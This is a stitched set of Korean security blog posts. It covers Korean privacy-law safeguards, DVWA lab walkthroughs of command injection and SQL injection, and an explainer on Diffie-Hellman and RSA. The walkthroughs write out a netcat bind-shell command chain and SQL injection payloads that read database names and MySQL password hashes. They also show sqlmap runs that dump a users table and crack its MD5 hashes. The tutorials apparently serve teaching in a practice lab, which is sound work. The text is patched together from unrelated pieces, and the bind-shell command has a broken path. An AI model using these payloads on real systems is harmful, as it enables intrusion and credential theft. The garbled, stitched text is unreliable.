④ 개인정보처리자는 개인정보처리시스템에 접속할 수 있는 사용자계정을 발급하는 경우 개인정보취급자 별로 사용자계정을 발급하여야 하며, 다른 개인정보취급자와 공유되지 않도록 하여야 한다.

⑤ 개인정보처리자는 개인정보취급자 또는 정보주체가 안전한 비밀번호를 설정하여 이행할 수 있도록 비밀번호작성규칙을 수립하여 적용하여야 한다.

⑥개인정보처리자는 권한 있는 개인정보취급자만이 개인정보처리시스템에 접근할 수 있도록 계정정보 또는 비밀번호를 일정 횟수 이상 잘못 입력한 경우 개인정보처리시스템에 대한 접근을 제한하는 등 필요한 기술적 조치를 하여야 한다.

⑦ [별표]의 유형1에 해당하는 개인정보처리자는 제1항 및 제6항을 아니할 수 있다.


※ 전자금융감독규정에서는 사용자 비밀번호를 90일(분기) 1회 변경하도록 하고 있음

※ 망법대상의 경우 개인정보처리시스템 접근권한을 외부인력에게 부여하지 않도록 규정하고 있으며 개보법 대상의 경우 "업무수행에 최소한의 범위로 차등 부여"하도록 규정하고 있음

※ 개보법의 안전성 확보조치 기준에서는 개인별 계정 부여(1인1계정) 및 공유 금지와 로그인 실패 횟수 제한을 추가적으로 규정하고 있음

※ 또한 개보법의 안전성 확보조치 기분에서는 비빌번호의 조합 규칙에 대해서는 구체적으로 언급하지 않고 있음

※ 장기 미사용 계정에 대한 식별 및 통제 방안 - 접속기록 보관 및 주기적인 검토 여부

※ 접근권한의 세분화 여부 중요함 (Download 및 like 검색 권한에 대한 제한 및 이력 기록과 검토)

※ 로그인 실패 횟수 기준 적용 여부 및 계정 잠금 이후 조치 절차

※ 사용자의 개인정보처리시스템 미 사용 시 접속 차단(타임아웃)은 "접근통제"항목에 있음 (망법 및 개보법에 모두 있음)

※ 비밀번호 작성 규칙 적용의 일관성 및 적용 누락 존재 여부

※ [별표]의 유형1 - 정보주체 1만 명 미만의 개인정보를 보유한 소상공인, 단체 및 개인


개인정보처리시스템의 "접근 통제"


[정통망법]기술적ㆍ관리적 보호조치 기준

[개보법]안전성 확보조치 기준

제4조(접근통제) ⑤ 정보통신서비스 제공자등은 정보통신망을 통한 불법적인 접근 및 침해사고 방지를 위해 다음 각 호의 기능을 포함한 시스템을 설치·운영하여야 한다.

1. 개인정보처리시스템에 대한 접속 권한을 IP주소 등으로 제한하여 인가받지 않은 접근을 제한

2. 개인정보처리시스템에 접속한 IP주소 등을 재분석하여 불법적인 개인정보 유출 시도를 탐지

제6조(접근통제) ① 개인정보처리자는 정보통신망을 통한 불법적인 접근 및 침해사고 방지를 위해 다음 각 호의 기능을 포함한 조치를 하여야 한다.
1. 개인정보처리시스템에 대한 접속 권한을 IP(Internet Protocol) 주소 등으로 제한하여 인가받지 않은 접근을 제한
2. 개인정보처리시스템에 접속한 IP (Internet Protocol)주소 등을 분석하여 불법적인 개인정보 유출 시도 탐지 및 대응
④ 정보통신서비스 제공자등은 개인정보취급자가 정보통신망을 통해 외부에서 개인정보처리시스템에 접속이 필요한 경우에는 안전한 인증 수단을 적용하여야 한다

② 개인정보처리자는 개인정보취급자가 정보통신망을 통해 외부에서 개인정보처리시스템에 접속하려는 경우 가상사설망(VPN : Virtual Private Network) 또는 전용선 등 안전한 접속수단을 적용하거나 안전한 인증수단을 적용하여야 한다.

⑨ 정보통신서비스 제공자등은 취급중인 개인정보가 인터넷 홈페이지, P2P, 공유설정 등을 통하여 열람권한이 없는 자에게 공개되거나 외부에 유출되지 않도록 개인정보처리시스템 및 개인정보취급자의 컴퓨터와 모바일 기기에 조치를 취하여야 한다.

③ 개인정보처리자는 취급중인 개인정보가 인터넷 홈페이지, P2P, 공유설정, 공개된 무선망 이용 등을 통하여 열람권한이 없는 자에게 공개되거나 유출되지 않도록 개인정보처리시스템, 업무용 컴퓨터, 모바일 기기 및 관리용 단말기 등에 접근 통제 등에 관한 조치를 하여야 한다.
 

④ 고유식별정보를 처리하는 개인정보처리자는 인터넷 홈페이지를 통해 고유식별정보가 유출·변조·훼손되지 않도록 연 1회 이상 취약점을 점검하고 필요한 보완 조치를 하여야 한다.

⑩ 정보통신서비스 제공자등은 개인정보처리시스템에 대한 개인정보취급자의 접속이 필요한 시간 동안만 최대접속시간 제한 등의 조치를 취하여야 한다.

⑤개인정보처리자는 개인정보처리시스템에 대한 불법적인 접근 및 침해사고 방지를 위하여 개인정보취급자가 일정시간 이상 업무처리를 하지 않는 경우에는 자동으로 시스템 접속이 차단되도록 하여야 한다. (타임아웃:Time Out)

 ⑥ 개인정보처리자가 별도의 개인정보처리시스템을 이용하지 아니하고 업무용 컴퓨터 또는 모바일 기기를 이용하여 개인정보를 처리하는 경우에는 제1항을 적용하지 아니할 수 있으며, 이 경우 업무용 컴퓨터 또는 모바일 기기의 운영체제(OS : Operating System)나 보안프로그램 등에서 제공하는 접근 통제 기능을 이용할 수 있다.
 

⑦ 개인정보처리자는 업무용 모바일 기기의 분실·도난 등으로 개인정보가 유출되지 않도록 해당 모바일 기기에 비밀번호 설정 등의 보호조치를 하여야 한다. 

⑧ [별표]의 유형1에 해당하는 개인정보처리자는 제2항, 제4항부터 제5항까지의 조치를 아니할 수 있다.

⑥ 전년도 말 기준 직전 3개월간 그 개인정보가 저장·관리되고 있는 이용자 수가 일일평균 100만명 이상이거나 정보통신서비스 부문 전년도(법인인 경우에는 전 사업연도를 말한다) 매출액이 100억원 이상인 정보통신서비스 제공자등은 개인정보처리시스템에서 개인정보를 다운로드 또는 파기할 수 있거나 개인정보처리시스템에 대한 접근권한을 설정할 수 있는 개인정보취급자의 컴퓨터 등을 물리적 또는 논리적으로 망분리 하여야 한다.

 


개인정보의 암호화


[정통망법]기술적ㆍ관리적 보호조치 기준

[개보법]안전성 확보조치 기준

제6조(개인정보의 암호화) ③ 정보통신서비스 제공자등은 정보통신망을 통해 이용자의 개인정보 및 인증정보를 송·수신할 때에는 안전한 보안서버 구축 등의 조치를 통해 이를 암호화해야 한다. 보안서버는 다음 각 호 중 하나의 기능을 갖추어야 한다.

1. 웹서버에 SSL(Secure Socket Layer) 인증서를 설치하여 전송하는 정보를 암호화하여 송·수신하는 기능

2. 웹서버에 암호화 응용프로그램을 설치하여 전송하는 정보를 암호화하여 송·수신하는 기능

제7조(개인정보의 암호화) ① 개인정보처리자는 고유식별정보, 비밀번호, 바이오정보를 정보통신망을 통하여 송신하거나 보조저장매체 등을 통하여 전달하는 경우에는 이를 암호화하여야 한다.
① 정보통신서비스 제공자등은 비밀번호는 복호화 되지 아니하도록 일방향 암호화하여 저장한다.
② 정보통신서비스 제공자등은 다음 각 호의 정보에 대해서는 안전한 암호알고리듬으로 암호화하여 저장한다.
1. 주민등록번호
2. 여권번호
3. 운전면허번호
4. 외국인등록번호
5. 신용카드번호
6. 계좌번호
7. 바이오정보
② 개인정보처리자는 비밀번호 및 바이오정보는 암호화하여 저장하여야 한다. 다만, 비밀번호를 저장하는 경우에는 복호화되지 아니하도록 일방향 암호화하여 저장하여야 한다


③ 개인정보처리자는 인터넷 구간 및 인터넷 구간과 내부망의 중간 지점(DMZ : Demilitarized Zone)에 고유식별정보를 저장하는 경우에는 이를 암호화하여야 한다. 

④ 개인정보처리자가 내부망에 고유식별정보를 저장하는 경우에는 다음 각 호의 기준에 따라 암호화의 적용여부 및 적용범위를 정하여 시행할 수 있다. 

1. 법 제33조에 따른 개인정보 영향평가의 대상이 되는 공공기관의 경우에는 해당 개인정보 영향평가의 결과

2. 암호화 미적용시 위험도 분석에 따른 결과 

※부칙 제2조(적용례) 영 제21조의제2항에 따른 주민등록번호의 암호화 적용시기 이후에는 고유식별정보 중 주민등록번호는 제7조2의4항을 적용하지 아니한다. 

⑤ 개인정보처리자는 제1항, 제2항, 제3항, 또는 제4항에 따라 개인정보를 암호화하는 경우 안전한 암호알고리즘으로 암호화하여 저장하여야 한다. 

⑥ 개인정보처리자는 암호화된 개인정보를 안전하게 보관하기 위하여 안전한 암호 키 생성, 이용, 보관, 배포 및 파기 등에 관한 절차를 수립·시행하여야 한다.

④ 정보통신서비스 제공자등은 이용자의 개인정보를 컴퓨터, 모바일 기기 및 보조저장매체 등에 저장할 때에는 이를 암호화해야 한다.

⑦ 개인정보처리자는 업무    용 컴퓨터 또는 모바일 기기에 고유식별정보를 저장하여 관리하는 경우 상용 암호화 소프트웨어 또는 안전한 암호화 알고리즘을 사용하여 암호화한 후 저장하여야 한다.


⑧ [별표]의 유형1 및 유형2에 해당하는 개인정보처리자는 제6항을 아니할 수 있다.



접속기록의 검토

 [정통망법]기술적ㆍ관리적 보호조치 기준

 [개보법]안전성 확보조치 기준

제5조(접속기록의 위·변조방지) ① 정보통신서비스 제공자등은 개인정보취급자가 개인정보처리시스템에 접속한 기록을 월 1회 이상 정기적으로 확인·감독하여야 하며, 시스템 이상 유무의 확인 등을 위해 최소 6개월 이상 접속기록을 보존·관리하여야 한다.

② 단, 제1항의 규정에도 불구하고 「전기통신사업법」 제5조의 규정에 따른 기간통신사업자의 경우에는 보존·관리해야할 최소 기간을 2년으로 한다.

제8조(접속기록의 보관 및 점검) ① 개인정보처리자는 개인정보취급자가 개인정보처리시스템에 접속한 기록을 6개월 이상 보관·관리하여야 한다.

② 개인정보처리자는 개인정보의 분실·도난·유출·위조·변조 또는 훼손 등에 대응하기 위하여 개인정보처리시스템의 접속기록 등을 반기별로 1회 이상 점검하여야 한다.

③ 정보통신서비스 제공자등은 개인정보취급자의 접속기록이 위·변조되지 않도록 별도의 물리적인 저장 장치에 보관하여야 하며 정기적인 백업을 수행하여야 한다.

 ③ 개인정보처리자는 개인정보취급자의 접속기록이 위·변조 및 도난, 분실되지 않도록 해당 접속기록을 안전하게 보관하여야 한다.






커맨드 인젝션은 SQL 인젝션 만큼이나 위험한 취약점이다. SQL 인젝션은 일반적으로 DB의 데이터가 유출될 가능성이 높은 취약점이며 커맨드 인젝션은 서버 전체의 통제권을 해커에게 빼앗길 수도 있는 취약점이기 때문에 일반적으로 SQL인젝션보다 더 위험하다고 볼 수도 있다.


커맨드 인젝션은 웹페이지에서 이용자에게 입력받거나 별도로 생성한 정보를 서버측의 운영체제 명령어와 결합하여 실행할 때 발생할 수 있는 취약점이다.


DVWA의 Command Injection 실습 페이지에서는 다음과 같은 예를 들어준다.



IP 주소를 이용자에게 입력받아 운영체제의 Ping 명령과 조합하여 실행하고 그 결과를 화면에 보여주는 명령이다.


다음과 같이 192.168.219.52 라는 IP를 입력하면 그 결과를 적나라하게 보여준다.



이런 화면을 해커가 발견하면 해커는 즉각 다음과 같이 취약점 여부를 확인하려 한다.IP 뒤에 다른 명령어를 연속으로 입력하는 형태다. 



192.168.219.52 다음에 ; 을 붙여주고 다음에 ifconfig -a 라는 명령을 입력했다. 

그랬더니 두 명령어가 모두 실행되어 그 결과가 함께 표시된다.


당연히 해커는 IP를 입력한 뒤 출력되는 내용이 운영체제의 ping 이라는 명령어의 실행 결과라는 것을 알아챈 것이다. 즉 그 내용을 모르면 취약점이 있는지 확인하지 못했을 것이다.


다음은 운영체제의 쉘에서 ping 명령을 수행한 결과다. 위 화면의 결과와 비교해보면 완벽하게 동일하다.



실행한 시점이 다르기 때문에 응답시간의 숫자는 다를 수 있다.


다음은 ifconfig -a의 실행결과다.



두 명령어의 실행결과가 쉘에서 실행한 것과 웹에서 실행한 것이 완벽하게 동일하다.


이쯤에서 끝난다면 그냥 취약점은 취약점으로 끝나고 말 것이다. 하지만 해커들의 상상력은 일반인들의 상상력을 초월한다. 이쯤되면 해커들은 서버에 직접 침투하고 싶어진다. 쉘스크립트도 만들고 싶어지고 C로 된 해킹 프로그램도 업로드하고 싶어지고... 하고 싶은게 정말 많을 것이다.


그렇다면 뭔가... 더 손쉽게 명령을 입력하고 작업을 할 수 있는 환경이 필요하다. 이럴 때 사용할 수 있는 해킹기범이 바로 바인드쉘이나 리버스쉘이다.



여기서는 바인드쉘을 작성해 본다.


바인드쉘은 netcat 이라는 명령을 이용해 손쉽게 서버에 생성할 수 있다. 즉 커맨드인젝션 취약점을 이용해 웹서버에 설치되어 있는 netcat 명령을 이용해 특정 TCP 포트를 Listen하게 해놓은 다음, 원격의 리눅스나 윈도PC에서 netcat 명령을 이용해 접속하는 것이다.


서버에 netcat 명령을 이용해 바인드쉘을 만드는 명령은 다음과 같다. 


$ mkfifo /tmp/pipe

$ sh /tmp/pipe | nc -l 4444 > tmp/pipe


이 두 라인을 실행하면 TCP 4444 포트를 Bind하여 Listen하고 있는 바인드쉘이 만들어진다.


이 두 라인을 다음과 같이 DVWA의 Command Injection 실습 페이지에 아무 의미없는 IP와 함께 입력하고 Submit 한다.



입력하고 나면 이전의 명령처럼 화면이 리프레쉬되며 결과가 표시되지 않는다. 왜냐하면 바인드쉘을 만들기 위해 실행한 /bin/sh가 종료되지 않고 실행중 상태로 남아있기 때문이다.


이제 다른 리눅스 혹은 Windows PC(netcat이 설치된)에서 다음과 같이 명령을 실행한다.



192.168.219.60은 DVWA가 실행된 서버다. IP를 어떻게 알았냐고? 앞의 화면에서 ifconfig -a를 실행한 결과에서 DVWA가 설치된 서버의 IP를 확인할 수 있다.


그런데 nc 명령을 입력한 뒤 nc 명령이 종료되지 않고 다음라인에서 프롬프트가 대기중이다. 뭔가 입력을 기다리는 듯 하다.


다음과 같이 여러 명령어를 입력해보자.



hostname 명령을 입력하자 ubuntu18 이 출력된다.그리고 uname -a 명령을 입력하니 뭔가 긴 줄이 출력된다. who am i 명령에는 응답이 없는듯 하고 whoami 명령에는 www-data 라는 응답이 출력된다.


이쯤에서 "어~ 왜 쉘이 ID와 패스워드를 안물어보지??"라는 의구심이 들지 않는가? 왜 물어보지 않는지는 Unix 운영체제의 로그인 과정에 대해 별도로 공부해보기 바란다.


어쨌든 지금 이 상태는 DVWA 서버에서 실행된 바인드쉘을 통해 서버에 telnet 접속한 것과 같은 효과를 낸 것이다. 명령을 입력하는 대로 그 결과가 출력된다.


ifconfig -a 명령을 다시 입력해봤다.



DVWA 서버의 네트워크 설정정보가 그대로 출력된다.


이쯤되면 이 서버는 해커의 놀이터로 전락했다고 볼 수 있다.






지난 번에 설치한 웹 해킹을 실습할 수 있는 DVWA로 이런 저런 테스트를 하고 있다. 그 테스트 중 두번째가 SQL인젝션인데.. 일단 SQL인젝션 취약점이 발견되면 DB에 저장되어 있는 기업의 주요 기밀은 물론 고객의 개인정보 등 매우 치명적인 정보가 유출될 가능성이 크다. 

 

SQL인젝션은 이용자에게 입력받은 다양한 조건 혹은 정보를 이용해 DB에서 정보를 조회해 이용자의 웹 브라우저에 출력하는 과정에서 발생할 수 있는 소스코드의 취약점을 공격하는 해킹기술이다.


웹서버에서는 이용자의 브라우저에 화면을 출력하는 HTML 및 Java Script 등과 이용자에게 보이지 않는 서버 수준에서 DB에 접속하거나 다른 작업을 위해 수행되는 JSP, PHP 등 서버사이드 프로그램들이 실행되는데 서버사이드 프로그램에서 이용자에게 입력받아 브라우저로 부터 전달받은 정보를 DBMS에 전달할 때 이용자가 입력한 값을 제대로 검증하지 않아 발생하는 취약점을 공격하는 기법이 SQL인젝션이다.


[ 이곳에서 학습한 공격을 일반 웹사이트를 대상으로 시험할 경우 해킹시도로 간주되어 법적 책임을 지게 될 수 있습니다.  ]


DVWA에는 SQL 인젝션을 실습할 수 있는 페이지가 제공된다. DVWA에 접속해 왼쪽의 SQL Injection 메뉴를 선택하면 다음과 같은 페이지가 출력된다.


SQL Injection 실습페이지SQL Injection 실습페이지



User ID를 선택하고 Submit 버튼을 누르면 해당 ID의 계정 정보를 보여준다. 다음은 User ID를 2를 선택하고 Submit 버튼을 누른 화면이다.




그렇다면 SQL인젝션을 시도해보자.


먼저 브라우저의 Proxy를 설정하고 Bup Suite를 실행한 뒤 SQL 인젝션 페이지에 접속한다. 위 화면은 취약점 수준이 Medium으로 설정하면 나온다. 버프스위트의 "Proxy" 탭의 "Intercept" 탭에서 "Intercept is on"으로 설정하고 위 화면에서 "Submit" 버튼을 누른다.


Submit 버튼을 누르고 버프스위트를 보면 "Proxy"탭과 "Intercept" 탭의 색이 바뀌어 있다. 뭔가 브라우저의 요청을 가로채고 대기 중이라는 의미다.


"Raw" 탭을 보면 아래 내용과 같이 가로챈 POST 요청이 보인다.


화면 아래에 id=1 이 보인다. 앞의 화면에서 User ID를 1로 선택한 뒤 Submit 버튼을 눌렀기 때문에 웹서버로 이용자가 선택한 id=1과 Submit 버튼을 눌렀다는 것을 전달하는 요청이다. 버프스위트가 그 요청을 중간에서 가로채어 웹서버로 전달하지 않고 대기중인 것이다.


id= 뒷부분을 위 화면과 같이 [ 1 or 1=1 ]로 바꾸고 "Forward" 버튼을 누른다. 만약 이 조작을 웹서버에 작성되어 있는 서버사이드 프로그램에서 걸러내지 못하고 그대로 DBMS에게 전달이 되면 어떤 결과가 나타날까..??


아래 결과처럼 표시가 된다.



원래는 ID가 1인 admin 의 정보만 보여야 하지만 Gordon 부터 Bod까지 더 많은 이름들이 출력된다. 이 자체가 취약점이다.


이 부분이 이해가 가지 않는다면 관계형데이터베이스에 대해 공부를 더 해야한다. SQL은 관계형데이터베이스의 데이터를 조회하고 저장하고 수정하고 삭제할 수 있는 언어다. 이 SQL을 이해하지 않고는 SQL Injection을 논할 수 없다.


어쨌든 ID가 1이거나 1=1 이 참이므로 이름이 저장된 테이블의 정보를 모두 가져와 출력하는 것이다.  이것이 끝일까? 여기까지 하고 끝이라면 너무 시시하지 않는가?


아니다. SQL인젝션 공격은 이제 시작이다. 일단 이 페이지에서 SQL 인젝션이 가능함을 알았고 이 페이지에서 보여주고자 하는 것 이상의 정보를 DB에서 조회해 출력할 수 있다는 것을 알았다. 몇가지 더 시연을 해보면...


먼저 몇개의 컬럼을 출력할 수 있는지 확인해봐야 한다. 언뜻봐서는 2개 혹은 3개의 데이터를 DB에서 조회해 출력하는 것으로 보인다.


앞으로 돌아가 특정 ID를 선택하고 다시 Submit 버튼을 누른다. 그리고 다시 id를 다음과 같이 조작한다.



뒷 부분에 [ order by 1 ] 을 추가했다.




이 페이지에서 조회하는 데이터 중 첫번째 컬럼으로 정렬하라는 의미다. 에러가 발생하지 않으면 다시 order by 2로 바꿔보고 1씩 증가하면서 에러가 발생하는지 확인한다. 아마도 2개까지 표시가 될 듯하고 3이 되면 다음과 같이 에러가 발생한다.



즉 2개 까지 추가적인 정보를 출력할 수 있는 것이다.


이제 다음과 같이 수정해본다.


union 문을 추가했다. ( union 이 뭔지 모르겠다면 SQL을 공부하러 갔다 오길 바란다.)

그리고 MySQL의 DB이름들을 조회할 수 있는 SQL을 추가했다. [ SELECT schema_name, 2 From information_schema.schemata# ]  맨뒤의 #은 그 뒷부분의 SQL을 주석으로 처리해버리기 위해 추가한 것이다. (이 #은 SQL Injection High Level 에서도 필요하다. High Level에서는 소스를 보면 알겠지만 LIMIT 1 로 조회되는 ID를 1개로 제한을 걸어 #이 없으면 해킹에 필요한 모든 정보를 얻을 수 없다.)아마 없어도 문제가 생기진 않을 것이다. 2는 그냥 의미없이 추가한 것이다. DB 목록이 저장되는 information_schema.schemata에서 필요한 정보가 있다면 해당 컬럼을 추가하면 된다.


이제 DB의 목록이 출력된다.



phpmyadmin 도 보이고 dvwa, bWAPP DB도 보인다.  DB명을 알았으므로 특정 DB의 테이블 목록도 조회가 가능하며 그 테이블 중 중요 정보가 저장된 것 같은 테이블의 데이터도 조회해 볼 수 있다. 단, 한번에 2개의 컬럼까지만 가능할 가능성이 높다.


그리고 이 페이지에서 DB에 접속하는 계정의 권한에 다라 DBMS 자체의 계정 정보도 조회가 가능하다.


다음과 같이 ID를 조작한다.


이 SQL은 MySQL DBMS의 user 계정 정보와 계정의 암호화된 비밀번호를 조회하는 SQL이다. 

[ SELECT USER, AUTHENTICATION_STRING FROM MYSQL.USER ]가 추가로 보인다.



예상한 대로 MySQL 자체의 사용자 계정명과 암호화 되었지만 비밀번호가 보인다. 이 계정은 DB를 관리하는 관리자들이 사용하는 계정이고 웹서버에서 DB에 접소할 때 사용할 수도 있는... 즉 이용자에게 노출되어어서는 안되는 계정정보다. 


그 외에도 해커가 알고 있는 지식의 범주만큼 더 다양한 공격이 가능하다.






블라인드SQL인젝션은 보통의 SQL 인젝션보다 더 어렵다. 당연히 SQL 인젝션이 유행하면서 많은 개발자들이 이에 경각심을 갖기 시작했고 시큐어코딩을 적용했다. 


하지만 해커들의 열정은 웹사이트 개발자보다 월등히 높다. 해커들은 손쉬운 SQL인젝션이 통하지 않지만 제목에서도 알 수 있듯.. 깜깜한 어둠 속에서 손을 더듬어 가며 손에 닿는 감촉으로 무엇인가를 인식할 수 있듯.. DB에 접근할 것으로 추측되는 화면만 있으면 조회 결과가 화면에 보이지 않더라도 화면 조작의 결과가 화면에 표현되는 방식에 따라 그 결과를 추측하여 DB에 접속하는 공격을 시도하기 시작했다.


그런 공격의 유형이 바로 Blind SQl Injection 이다.


DVAW에서는 SQL 인젝션 다음의 예제로 실습을 해볼 수 있다. 



Blind SQL 인젝션의 실습 화면이다. 

User ID를 입력하면 그 결과가 다음 라인에 적색 텍스트로 표현된다. 사용자 ID가 DB에 있다. 없다.로 그 결과면 표시된다. 해커는 당연히 이 페이지가 DB에 접속하여 사용자 정보가 담긴 테이블을 조회(SELECT) 한다고 추측할 수 있다. 어떻게 추측할 수 있는지 이해가 되지 않는다면...  뭐라 해줄 수 있는 말이 없다. 직접 로그인을 수행하는 웹페이지를 코딩해 보고 다시 이 포스트를 보기 바란다.

 

그런데 문제는 단순히 이 웹페이지에서저 작은 User ID 입력창에 DB의 종류를 알아내고 DB와 Table의 구조를 알아내고 테이블을 조회해 내용을 알아낼 수 있는 SQL을 입력하는 것도 힘든 작업이지만 문제는 앞에서 테스트한 SQL Injection 예제 처럼 그 결과를 이 화면에서는 표시해 볼 수 없다는 점이다.  


공격의 이름에 Blind 라는 단어가 들어가는 이유가 여기에 있다. 예를 들어 MySQL DB의 버전을 가져오려면 아래와 같은 SQL을 실행해야 한다.



문제는 SQL Injection 취약점이 있다 하더라도 select @@version; 의 결과를 화면에 표시할 수 없다면..?? 어떻게 해야 하나? 실습 화면에서 보듯 사용자 ID가 DB에 조회(SELECT)해 보니 있다, 없다만 표시하는 화면이므로 SQL을 조작해 "사용자ID가 DB에 있고 버전을 조회한 결과의 첫번째 문자가 5냐 아니냐"로 결과를 출력하도록 해야 한다.


사용자ID는 위 화면처럼 2로 고정하고 아래 SQL문을 추가해 조작하여 그 결과를 모니터링하는 것이다.



솔직하게 이야기 해 substr()의 결과가 5... 즉 5.7 버전의 앞글자 5라면 그 결과가 참(1)이 되는데... 이런 식으로 수백, 수천번의 SQL을 직접 실행해 그 결과를 확인하는 방법으로 해킹이 가능할까 싶다. SQL 인젝션을 통해 위의 SQL을 조작해 실행하고 사용자 ID가 DB에 있다...없다를 보면서 한글자...한글자... 아니면 SQL의 참/거짓 여부를 확인하는 노가다를 하면서 해킹을 하고 싶지는 않다. 무슨 부귀영화를 누리겠다고 그런 노가다를 한다는 말인가.. 


그래서 도구를 만들고 사용한다. 



이때 활용할 수 있는 도구가 바로 SQLMap 이라는 DB 취약점 점검 도구다.

SQLMap은 칼리리눅스에 기본으로 설치되어 있기 때문에 이번 블라인드 SQL 공격 실습은 칼리리눅스에서 해봤다.


먼저 칼리리눅스에 설치된 사파리 웹 브라우저를 통해 DVWA에 접속한다. 



왜냐하면 SQLMap을 통해 웹브라우저를 시뮬레이션하면서 취약점 점검을 수행하려면 웹브라우저에서 해당 사이트에 로그인한 뒤 부여받는 세션ID가 필요하다. 그래서 칼리리눅스에 설치된 사파리 브라우저로 DVWA에 로그인 한 뒤 세션ID를 복사해 SQLMap 명령행에 입력해줘야 한다.


접속했다면 브라우저의 ! 아이콘을 클릭한 뒤 > 표시를 클릭한다.



아래의 More Information 을 클릭한다.



Security를 클릭하면 나오는 View Cookies를 클릭한다.



번저 PHPSESSID를 선택하고 아래의 Content에 있는 길다란...문자열을 복사한다. 이 문자열이 웹서버가 로그인한 사파리 브라우저에게 부여한 세션ID다. 

 


두번째 쿠키는 security 레벨을 설정하는 쿠키다. 값은 low 다. 



그리고 칼리리눅스에 SSH로 접속해 root로 su 한 뒤 sqlmap을 실행한다.



위 화면처럼 SQL Injection (Blind) 메뉴를 선택했을 때 사파리 주소창에 표시되는 URL과 조금 전 복사해 둔 두개의 쿠키 즉 세션ID와 Security Level을 위 화면처럼 입력해준다.


그리고 엔터키를 누르면 sqlmap이 실행되고 취약점을 찾아준다.


id라는 GET 방식의 파라미터가 취약할 수 있고 id가 AND boolean-based blind 고역에 취약할 것 같고... DB는 MySQL인걸로 보인다는 둥 앞에서 설명한 방법을 통해 자동으로 취약한 정보들을 수집해준다.


주루룩~~계속 수집해준다.



점검이 끝나면 점검결과를 요약해준다.



백엔드에 숨어 있는 DB는 MySQL이고 운영체제는 Ubuntu, 웹서버는 아파치며 에러도 발견되었다는 이야기다.

그리고 그 앞에 가장 중요한 GET 방식의 id 파라미터가 AND boolean-based blind 공격에 취약하다는 것과 time-based blind 공격에도 취약할 수 있다는 결과를 알려준다.


Blind SQL Injection 취약점이 있는 것 같으므로 이제 DB 이름을 확인해 본다. 아래 화면처럼 --current-db 옵션을 추가해 실행한다.



db이름이 dvwa로 확인되었다. 그렇다면 dvwa DB에 어떤 테이블들이 있는지 확인하기 위해 -D 옵션과 --tables 옵션을 함께 써본다.



주루룩...스캔하더니 guestbook 과 users 테이블이 있다고 알려준다.


테이블이 확인되었으니 테이블의 내용을 조회해보자.  -D, -T, --dump 옵션을 함께 써본다. 테이블은 users 테이블을 지정해보자. 



뭔가 값들을 가져오기 시작한다. 계속 가져온다.. (이야~~신난다~~)



가져오는 내용에 Hash 값으로 추측되는 문자열도 보인다. 그런데 hash 문자열이 조금 짧다.



역시나 조금 짧은 Hash 문자열은 MD5다. 비밀번호를 크랙하겠냐고 물어본다. 사전파일도 자체적으로 갖고 있는 사전 파일을 쓰겠냐고도 물어본다.  그리고 Hash를 무작위 대입 공격으로 크랙해본다. 사전파일에 있는 비밀번호를 사용한다면 크랙이 될 것이다.


역시나 크랙이 된다. 그리고 최종적으로 users 테이블에서 조회된 사용자 정보를 일목요연하게 정래해 보여준다.






앞의 포스트에서 디피-헬만 키 교환 알고리즘을 알아보았다. 디피-헬만 알고리즘은 송신자가 주체가 되어 송신자와 수신자 상호간의 암호키 전송없이 실제 송수신할 데이터의 암호화와 복호화를 할 수 있는 공통의 비밀키(대칭키)를 교환(실제로는 송신자와 수신자가 각자 생성)하는 키 교환 알고리즘이다. 그 이후의 데이터 암복호화는 생성된 대칭키(비밀키)를 이용하여 별도의 대칭키 암호화 알고리즘을 사용하면 된다. 그래서 디피-헬만 키 교환 알고리즘은 SSL(Secure Socket Layer) 통신 시 암호키를 생성하고 교환하는 목적으로 사용된다. 또한 SSL 통신 규약 상 주기적으로 암호키를 변경해야하기 때문에 디피헬만 키 교환 알고리즘은 주기적으로 호출된다.


즉, PKI(공개키 암호화 알고리즘)은 아니다.


PKI(Public Key Infrastructure) : 비대칭키 암호 시스템


PKI는 그대로 번역하면 "공개 키 기반구조" 쯤이 된다. 쉽게 "공개키 암호 시스템" 정도로 이해하면 된다. 하지만 이 이름에는 사실 중요한 단어가 빠졌다. "공개키/개인키 암호 시스템" 이 진짜~ 이름이 되겠다. 공개키 암호 시스템은 비대칭키 암호 시스템과 같은 용어다. 암호화 키와 복호화 키가 다르기 때문에 암호키가 비대칭이라는 의미다.


그래서 평문(데이터)를 공개키로 암호화하면 개인키로만 복호화가 되며 반대로 개인키로 암호화하면 공개키로만 복호화가 가능한 방식이다. 처음엔 어떻게 이런게 가능하지?라고 매우 신기하게 생각했다.


그리고 디피헬만 알고리즘과 같이 PKI에서도 키를 생성하는 과정은 필수다. 그리고 그 키는 두개가 된다. 주변에 공개할 즉, 유출되어도 상관없는 공개키와 나만이 갖고 있어야 하며 외부에 공개되어서는 안되는 개인키 두 개가 존재하게 된다. 그리고 이 공개키와 개인키를 담고 있으면서 소유자를 증명하는 것이 바로 PKI인증서다.


PKI인증서는 통신주체는 모두 갖고 있어야 한다. 만약 뽀로로와 패티가 안전하게 통신을 하고자 하면 적어도 둘 다 공개키와 개인키가 담겨져 있는 PKI인증서를 갖고 있어야 한다. (단순히 통신만 생각한다면 공개키와 개인키만 있으면 되겠지만)


기본적인 비대칭키 암호화알고리즘을 이용하여 암호화 통신을 수행하는 과정은 아래와 같다.


  • 먼저 뽀로로와 패티는 서로의 공개키를 교환한다. 즉 뽀로로는 패티에게 , 패티는 뽀로로에게 자신의 공개키를 알려준다. 공개키는 원래 공개를 목적으로 하는 암호키다.
  • 뽀로로는 데이터를 패티의 공개키로 암호화하여 패티에게 보낸다.
  • 패티는 자신의 개인키로 데이터를 복호화한다.
  • 패티는 뽀로로에게서 받은 뽀로로의 공개키로 데이터를 암호하하여 뽀로로에게 보낸다.
  • 뽀로로는 자신의 개인키로 데이터를 복호화한다.


그렇다면 비대칭키 암호화 통신에서 사용되는 공개키와 개인키는 어떻게 만들어지는 것일까???


RSA (Ribest Shamir Adelman)


RSA의 세 글자는 RSA 알고리즘을 만든 세명의 이름 첫글자를 다온 알고리즘이다. RSA는 완전한 공개키기반구조(PKI)를 제공한다. 그리고 그 핵심은 PKI의 기본이 되는 공개키와 개인키를 만드는 키 생성 알고리즘이다. 

RSA는 소인수분해의 어려움에 기반하며 공개되는 공개키를 가지고는 개인키를 유추하는 것이 어렵다. 아래에 RSA의 키 생성과정에서 최초 선택되는 두 소수 (P, Q)가 클 수록 공개키를 이용해 개인키를 유추하는 것이 어려우며 일정 크기를 넘어가면 현재 존재하는 컴퓨터로는 개인키를 해킹하는 것이 불가능에 가깝다고 한다.


